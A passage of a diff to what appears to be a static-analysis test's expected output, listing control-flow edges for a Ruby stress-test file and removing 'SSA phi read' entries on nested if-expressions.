 | UseUseExplosion.rb:20:266:20:270 | [post] self | UseUseExplosion.rb:20:287:20:291 | self |
@@ -380,11 +331,7 @@
 | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [false] ( ... ) |
 | UseUseExplosion.rb:20:266:20:275 | ... > ... | UseUseExplosion.rb:20:265:20:276 | [true] ( ... ) |
 | UseUseExplosion.rb:20:274:20:275 | 88 | UseUseExplosion.rb:20:266:20:275 | ... > ... |
-| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) |
-| UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) |
 | UseUseExplosion.rb:20:278:20:3492 | then ... | UseUseExplosion.rb:20:262:20:3508 | if ... |
-| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | UseUseExplosion.rb:20:278:20:3492 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:283:20:3492 | if ... | UseUseExplosion.rb:20:278:20:3492 | then ... |
 | UseUseExplosion.rb:20:287:20:291 | @prop | UseUseExplosion.rb:20:287:20:296 | ... > ... |
 | UseUseExplosion.rb:20:287:20:291 | [post] self | UseUseExplosion.rb:20:308:20:312 | self |
@@ -394,11 +341,7 @@
 | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [false] ( ... ) |
 | UseUseExplosion.rb:20:287:20:296 | ... > ... | UseUseExplosion.rb:20:286:20:297 | [true] ( ... ) |
 | UseUseExplosion.rb:20:295:20:296 | 87 | UseUseExplosion.rb:20:287:20:296 | ... > ... |
-| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) |
-| UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) |
 | UseUseExplosion.rb:20:299:20:3476 | then ... | UseUseExplosion.rb:20:283:20:3492 | if ... |
-| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | UseUseExplosion.rb:20:299:20:3476 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:304:20:3476 | if ... | UseUseExplosion.rb:20:299:20:3476 | then ... |
 | UseUseExplosion.rb:20:308:20:312 | @prop | UseUseExplosion.rb:20:308:20:317 | ... > ... |
 | UseUseExplosion.rb:20:308:20:312 | [post] self | UseUseExplosion.rb:20:329:20:333 | self |
@@ -408,11 +351,7 @@
 | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [false] ( ... ) |
 | UseUseExplosion.rb:20:308:20:317 | ... > ... | UseUseExplosion.rb:20:307:20:318 | [true] ( ... ) |
 | UseUseExplosion.rb:20:316:20:317 | 86 | UseUseExplosion.rb:20:308:20:317 | ... > ... |
-| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) |
-| UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) |
 | UseUseExplosion.rb:20:320:20:3460 | then ... | UseUseExplosion.rb:20:304:20:3476 | if ... |
-| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | UseUseExplosion.rb:20:320:20:3460 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:325:20:3460 | if ... | UseUseExplosion.rb:20:320:20:3460 | then ... |
 | UseUseExplosion.rb:20:329:20:333 | @prop | UseUseExplosion.rb:20:329:20:338 | ... > ... |
 | UseUseExplosion.rb:20:329:20:333 | [post] self | UseUseExplosion.rb:20:350:20:354 | self |
@@ -422,11 +361,7 @@
 | UseUseExplosion.rb:20:329:20:338 | ... > ... | UseUseExplosion.rb:20:328:20:339 | [false] ( ... ) |
 | UseUseExplosion.rb:20:329:20:338 | ... > ... | UseUseExplosion.rb:20:328:20:339 | [true] ( ... ) |
 | UseUseExplosion.rb:20:337:20:338 | 85 | UseUseExplosion.rb:20:329:20:338 | ... > ... |
-| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) |
-| UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) |
 | UseUseExplosion.rb:20:341:20:3444 | then ... | UseUseExplosion.rb:20:325:20:3460 | if ... |
-| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | UseUseExplosion.rb:20:341:20:3444 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:346:20:3444 | if ... | UseUseExplosion.rb:20:341:20:3444 | then ... |
 | UseUseExplosion.rb:20:350:20:354 | @prop | UseUseExplosion.rb:20:350:20:359 | ... > ... |
 | UseUseExplosion.rb:20:350:20:354 | [post] self | UseUseExplosion.rb:20:371:20:375 | self |
@@ -436,11 +371,7 @@
 | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [false] ( ... ) |
 | UseUseExplosion.rb:20:350:20:359 | ... > ... | UseUseExplosion.rb:20:349:20:360 | [true] ( ... ) |
 | UseUseExplosion.rb:20:358:20:359 | 84 | UseUseExplosion.rb:20:350:20:359 | ... > ... |
-| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) |
-| UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) |
 | UseUseExplosion.rb:20:362:20:3428 | then ... | UseUseExplosion.rb:20:346:20:3444 | if ... |
-| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | UseUseExplosion.rb:20:362:20:3428 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:367:20:3428 | if ... | UseUseExplosion.rb:20:362:20:3428 | then ... |
 | UseUseExplosion.rb:20:371:20:375 | @prop | UseUseExplosion.rb:20:371:20:380 | ... > ... |
 | UseUseExplosion.rb:20:371:20:375 | [post] self | UseUseExplosion.rb:20:392:20:396 | self |
@@ -450,11 +381,7 @@
 | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [false] ( ... ) |
 | UseUseExplosion.rb:20:371:20:380 | ... > ... | UseUseExplosion.rb:20:370:20:381 | [true] ( ... ) |
 | UseUseExplosion.rb:20:379:20:380 | 83 | UseUseExplosion.rb:20:371:20:380 | ... > ... |
-| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) |
-| UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) |
 | UseUseExplosion.rb:20:383:20:3412 | then ... | UseUseExplosion.rb:20:367:20:3428 | if ... |
-| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | UseUseExplosion.rb:20:383:20:3412 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:388:20:3412 | if ... | UseUseExplosion.rb:20:383:20:3412 | then ... |
 | UseUseExplosion.rb:20:392:20:396 | @prop | UseUseExplosion.rb:20:392:20:401 | ... > ... |
 | UseUseExplosion.rb:20:392:20:396 | [post] self | UseUseExplosion.rb:20:413:20:417 | self |
@@ -464,11 +391,7 @@
 | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [false] ( ... ) |
 | UseUseExplosion.rb:20:392:20:401 | ... > ... | UseUseExplosion.rb:20:391:20:402 | [true] ( ... ) |
 | UseUseExplosion.rb:20:400:20:401 | 82 | UseUseExplosion.rb:20:392:20:401 | ... > ... |
-| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) |
-| UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) |
 | UseUseExplosion.rb:20:404:20:3396 | then ... | UseUseExplosion.rb:20:388:20:3412 | if ... |
-| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | UseUseExplosion.rb:20:404:20:3396 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:409:20:3396 | if ... | UseUseExplosion.rb:20:404:20:3396 | then ... |
 | UseUseExplosion.rb:20:413:20:417 | @prop | UseUseExplosion.rb:20:413:20:422 | ... > ... |
 | UseUseExplosion.rb:20:413:20:417 | [post] self | UseUseExplosion.rb:20:434:20:438 | self |
@@ -478,11 +401,7 @@
 | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [false] ( ... ) |
 | UseUseExplosion.rb:20:413:20:422 | ... > ... | UseUseExplosion.rb:20:412:20:423 | [true] ( ... ) |
 | UseUseExplosion.rb:20:421:20:422 | 81 | UseUseExplosion.rb:20:413:20:422 | ... > ... |
-| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) |
-| UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) |
 | UseUseExplosion.rb:20:425:20:3380 | then ... | UseUseExplosion.rb:20:409:20:3396 | if ... |
-| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | UseUseExplosion.rb:20:425:20:3380 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:430:20:3380 | if ... | UseUseExplosion.rb:20:425:20:3380 | then ... |
 | UseUseExplosion.rb:20:434:20:438 | @prop | UseUseExplosion.rb:20:434:20:443 | ... > ... |
 | UseUseExplosion.rb:20:434:20:438 | [post] self | UseUseExplosion.rb:20:455:20:459 | self |
@@ -492,11 +411,7 @@
 | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [false] ( ... ) |
 | UseUseExplosion.rb:20:434:20:443 | ... > ... | UseUseExplosion.rb:20:433:20:444 | [true] ( ... ) |
 | UseUseExplosion.rb:20:442:20:443 | 80 | UseUseExplosion.rb:20:434:20:443 | ... > ... |
-| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) |
-| UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) |
 | UseUseExplosion.rb:20:446:20:3364 | then ... | UseUseExplosion.rb:20:430:20:3380 | if ... |
-| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | UseUseExplosion.rb:20:446:20:3364 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:451:20:3364 | if ... | UseUseExplosion.rb:20:446:20:3364 | then ... |
 | UseUseExplosion.rb:20:455:20:459 | @prop | UseUseExplosion.rb:20:455:20:464 | ... > ... |
 | UseUseExplosion.rb:20:455:20:459 | [post] self | UseUseExplosion.rb:20:476:20:480 | self |
@@ -506,11 +421,7 @@
 | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [false] ( ... ) |
 | UseUseExplosion.rb:20:455:20:464 | ... > ... | UseUseExplosion.rb:20:454:20:465 | [true] ( ... ) |
 | UseUseExplosion.rb:20:463:20:464 | 79 | UseUseExplosion.rb:20:455:20:464 | ... > ... |
-| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) |
-| UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) |
 | UseUseExplosion.rb:20:467:20:3348 | then ... | UseUseExplosion.rb:20:451:20:3364 | if ... |
-| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | UseUseExplosion.rb:20:467:20:3348 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:472:20:3348 | if ... | UseUseExplosion.rb:20:467:20:3348 | then ... |
 | UseUseExplosion.rb:20:476:20:480 | @prop | UseUseExplosion.rb:20:476:20:485 | ... > ... |
 | UseUseExplosion.rb:20:476:20:480 | [post] self | UseUseExplosion.rb:20:497:20:501 | self |
@@ -520,11 +431,7 @@
 | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [false] ( ... ) |
 | UseUseExplosion.rb:20:476:20:485 | ... > ... | UseUseExplosion.rb:20:475:20:486 | [true] ( ... ) |
 | UseUseExplosion.rb:20:484:20:485 | 78 | UseUseExplosion.rb:20:476:20:485 | ... > ... |
-| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) |
-| UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) |
 | UseUseExplosion.rb:20:488:20:3332 | then ... | UseUseExplosion.rb:20:472:20:3348 | if ... |
-| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | UseUseExplosion.rb:20:488:20:3332 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:493:20:3332 | if ... | UseUseExplosion.rb:20:488:20:3332 | then ... |
 | UseUseExplosion.rb:20:497:20:501 | @prop | UseUseExplosion.rb:20:497:20:506 | ... > ... |
 | UseUseExplosion.rb:20:497:20:501 | [post] self | UseUseExplosion.rb:20:518:20:522 | self |
@@ -534,11 +441,7 @@
 | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [false] ( ... ) |
 | UseUseExplosion.rb:20:497:20:506 | ... > ... | UseUseExplosion.rb:20:496:20:507 | [true] ( ... ) |
 | UseUseExplosion.rb:20:505:20:506 | 77 | UseUseExplosion.rb:20:497:20:506 | ... > ... |
-| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) |
-| UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) |
 | UseUseExplosion.rb:20:509:20:3316 | then ... | UseUseExplosion.rb:20:493:20:3332 | if ... |
-| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | UseUseExplosion.rb:20:509:20:3316 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:514:20:3316 | if ... | UseUseExplosion.rb:20:509:20:3316 | then ... |
 | UseUseExplosion.rb:20:518:20:522 | @prop | UseUseExplosion.rb:20:518:20:527 | ... > ... |
 | UseUseExplosion.rb:20:518:20:522 | [post] self | UseUseExplosion.rb:20:539:20:543 | self |
@@ -548,11 +451,7 @@
 | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [false] ( ... ) |
 | UseUseExplosion.rb:20:518:20:527 | ... > ... | UseUseExplosion.rb:20:517:20:528 | [true] ( ... ) |
 | UseUseExplosion.rb:20:526:20:527 | 76 | UseUseExplosion.rb:20:518:20:527 | ... > ... |
-| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) |
-| UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) |
 | UseUseExplosion.rb:20:530:20:3300 | then ... | UseUseExplosion.rb:20:514:20:3316 | if ... |
-| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | UseUseExplosion.rb:20:530:20:3300 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:535:20:3300 | if ... | UseUseExplosion.rb:20:530:20:3300 | then ... |
 | UseUseExplosion.rb:20:539:20:543 | @prop | UseUseExplosion.rb:20:539:20:548 | ... > ... |
 | UseUseExplosion.rb:20:539:20:543 | [post] self | UseUseExplosion.rb:20:560:20:564 | self |
@@ -562,11 +461,7 @@
 | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [false] ( ... ) |
 | UseUseExplosion.rb:20:539:20:548 | ... > ... | UseUseExplosion.rb:20:538:20:549 | [true] ( ... ) |
 | UseUseExplosion.rb:20:547:20:548 | 75 | UseUseExplosion.rb:20:539:20:548 | ... > ... |
-| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) |
-| UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) |
 | UseUseExplosion.rb:20:551:20:3284 | then ... | UseUseExplosion.rb:20:535:20:3300 | if ... |
-| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | UseUseExplosion.rb:20:551:20:3284 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:556:20:3284 | if ... | UseUseExplosion.rb:20:551:20:3284 | then ... |
 | UseUseExplosion.rb:20:560:20:564 | @prop | UseUseExplosion.rb:20:560:20:569 | ... > ... |
 | UseUseExplosion.rb:20:560:20:564 | [post] self | UseUseExplosion.rb:20:581:20:585 | self |
@@ -576,11 +471,7 @@
 | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [false] ( ... ) |
 | UseUseExplosion.rb:20:560:20:569 | ... > ... | UseUseExplosion.rb:20:559:20:570 | [true] ( ... ) |
 | UseUseExplosion.rb:20:568:20:569 | 74 | UseUseExplosion.rb:20:560:20:569 | ... > ... |
-| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) |
-| UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) |
 | UseUseExplosion.rb:20:572:20:3268 | then ... | UseUseExplosion.rb:20:556:20:3284 | if ... |
-| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | UseUseExplosion.rb:20:572:20:3268 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:577:20:3268 | if ... | UseUseExplosion.rb:20:572:20:3268 | then ... |
 | UseUseExplosion.rb:20:581:20:585 | @prop | UseUseExplosion.rb:20:581:20:590 | ... > ... |
 | UseUseExplosion.rb:20:581:20:585 | [post] self | UseUseExplosion.rb:20:602:20:606 | self |
@@ -590,11 +481,7 @@
 | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [false] ( ... ) |
 | UseUseExplosion.rb:20:581:20:590 | ... > ... | UseUseExplosion.rb:20:580:20:591 | [true] ( ... ) |
 | UseUseExplosion.rb:20:589:20:590 | 73 | UseUseExplosion.rb:20:581:20:590 | ... > ... |
-| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) |
-| UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) |
 | UseUseExplosion.rb:20:593:20:3252 | then ... | UseUseExplosion.rb:20:577:20:3268 | if ... |
-| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | UseUseExplosion.rb:20:593:20:3252 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:598:20:3252 | if ... | UseUseExplosion.rb:20:593:20:3252 | then ... |
 | UseUseExplosion.rb:20:602:20:606 | @prop | UseUseExplosion.rb:20:602:20:611 | ... > ... |
 | UseUseExplosion.rb:20:602:20:606 | [post] self | UseUseExplosion.rb:20:623:20:627 | self |
@@ -604,11 +491,7 @@
 | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [false] ( ... ) |
 | UseUseExplosion.rb:20:602:20:611 | ... > ... | UseUseExplosion.rb:20:601:20:612 | [true] ( ... ) |
 | UseUseExplosion.rb:20:610:20:611 | 72 | UseUseExplosion.rb:20:602:20:611 | ... > ... |
-| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) |
-| UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) |
 | UseUseExplosion.rb:20:614:20:3236 | then ... | UseUseExplosion.rb:20:598:20:3252 | if ... |
-| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | UseUseExplosion.rb:20:614:20:3236 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:619:20:3236 | if ... | UseUseExplosion.rb:20:614:20:3236 | then ... |
 | UseUseExplosion.rb:20:623:20:627 | @prop | UseUseExplosion.rb:20:623:20:632 | ... > ... |
 | UseUseExplosion.rb:20:623:20:627 | [post] self | UseUseExplosion.rb:20:644:20:648 | self |
@@ -618,11 +501,7 @@
 | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [false] ( ... ) |
 | UseUseExplosion.rb:20:623:20:632 | ... > ... | UseUseExplosion.rb:20:622:20:633 | [true] ( ... ) |
 | UseUseExplosion.rb:20:631:20:632 | 71 | UseUseExplosion.rb:20:623:20:632 | ... > ... |
-| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) |
-| UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) |
 | UseUseExplosion.rb:20:635:20:3220 | then ... | UseUseExplosion.rb:20:619:20:3236 | if ... |
-| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | UseUseExplosion.rb:20:635:20:3220 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:640:20:3220 | if ... | UseUseExplosion.rb:20:635:20:3220 | then ... |
 | UseUseExplosion.rb:20:644:20:648 | @prop | UseUseExplosion.rb:20:644:20:653 | ... > ... |
 | UseUseExplosion.rb:20:644:20:648 | [post] self | UseUseExplosion.rb:20:665:20:669 | self |
@@ -632,11 +511,7 @@
 | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [false] ( ... ) |
 | UseUseExplosion.rb:20:644:20:653 | ... > ... | UseUseExplosion.rb:20:643:20:654 | [true] ( ... ) |
 | UseUseExplosion.rb:20:652:20:653 | 70 | UseUseExplosion.rb:20:644:20:653 | ... > ... |
-| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) |
-| UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) |
 | UseUseExplosion.rb:20:656:20:3204 | then ... | UseUseExplosion.rb:20:640:20:3220 | if ... |
-| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | UseUseExplosion.rb:20:656:20:3204 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:661:20:3204 | if ... | UseUseExplosion.rb:20:656:20:3204 | then ... |
 | UseUseExplosion.rb:20:665:20:669 | @prop | UseUseExplosion.rb:20:665:20:674 | ... > ... |
 | UseUseExplosion.rb:20:665:20:669 | [post] self | UseUseExplosion.rb:20:686:20:690 | self |
@@ -646,11 +521,7 @@
 | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [false] ( ... ) |
 | UseUseExplosion.rb:20:665:20:674 | ... > ... | UseUseExplosion.rb:20:664:20:675 | [true] ( ... ) |
 | UseUseExplosion.rb:20:673:20:674 | 69 | UseUseExplosion.rb:20:665:20:674 | ... > ... |
-| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) |
-| UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) |
 | UseUseExplosion.rb:20:677:20:3188 | then ... | UseUseExplosion.rb:20:661:20:3204 | if ... |
-| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | UseUseExplosion.rb:20:677:20:3188 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:682:20:3188 | if ... | UseUseExplosion.rb:20:677:20:3188 | then ... |
 | UseUseExplosion.rb:20:686:20:690 | @prop | UseUseExplosion.rb:20:686:20:695 | ... > ... |
 | UseUseExplosion.rb:20:686:20:690 | [post] self | UseUseExplosion.rb:20:707:20:711 | self |
@@ -660,11 +531,7 @@
 | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [false] ( ... ) |
 | UseUseExplosion.rb:20:686:20:695 | ... > ... | UseUseExplosion.rb:20:685:20:696 | [true] ( ... ) |
 | UseUseExplosion.rb:20:694:20:695 | 68 | UseUseExplosion.rb:20:686:20:695 | ... > ... |
-| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) |
-| UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) |
 | UseUseExplosion.rb:20:698:20:3172 | then ... | UseUseExplosion.rb:20:682:20:3188 | if ... |
-| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | UseUseExplosion.rb:20:698:20:3172 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:703:20:3172 | if ... | UseUseExplosion.rb:20:698:20:3172 | then ... |
 | UseUseExplosion.rb:20:707:20:711 | @prop | UseUseExplosion.rb:20:707:20:716 | ... > ... |
 | UseUseExplosion.rb:20:707:20:711 | [post] self | UseUseExplosion.rb:20:728:20:732 | self |
@@ -674,11 +541,7 @@
 | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [false] ( ... ) |
 | UseUseExplosion.rb:20:707:20:716 | ... > ... | UseUseExplosion.rb:20:706:20:717 | [true] ( ... ) |
 | UseUseExplosion.rb:20:715:20:716 | 67 | UseUseExplosion.rb:20:707:20:716 | ... > ... |
-| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(self) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) |
-| UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(x) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) |
 | UseUseExplosion.rb:20:719:20:3156 | then ... | UseUseExplosion.rb:20:703:20:3172 | if ... |
-| UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | UseUseExplosion.rb:20:719:20:3156 | [input] SSA phi read(self) |
